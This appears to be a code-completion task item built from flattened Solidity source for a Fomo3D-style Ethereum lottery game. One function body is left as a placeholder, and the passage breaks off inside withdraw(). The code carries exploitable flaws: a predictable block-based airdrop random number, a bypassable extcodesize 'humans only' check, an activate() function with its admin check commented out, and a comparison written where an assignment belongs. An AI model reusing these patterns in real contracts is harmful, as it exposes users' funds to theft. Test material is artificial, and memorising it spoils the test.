((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external {<FILL_FUNCTION_BODY> } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 3% out to community rewards uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _com; _com = 0; } // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate // require(msg.sender == admin, "only admin can activate"); // erik // can only be ran once require(activated_ == false, "FOMO Short already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
contract FomoSuper is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xB2b3d6feAE1AB2af4a07Cf4C047D69aa01D809Aa); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; string constant public name = "FomoSuper"; string constant public symbol = "FomoSuper"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 12 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(22,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(30,8); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(52,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(68,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 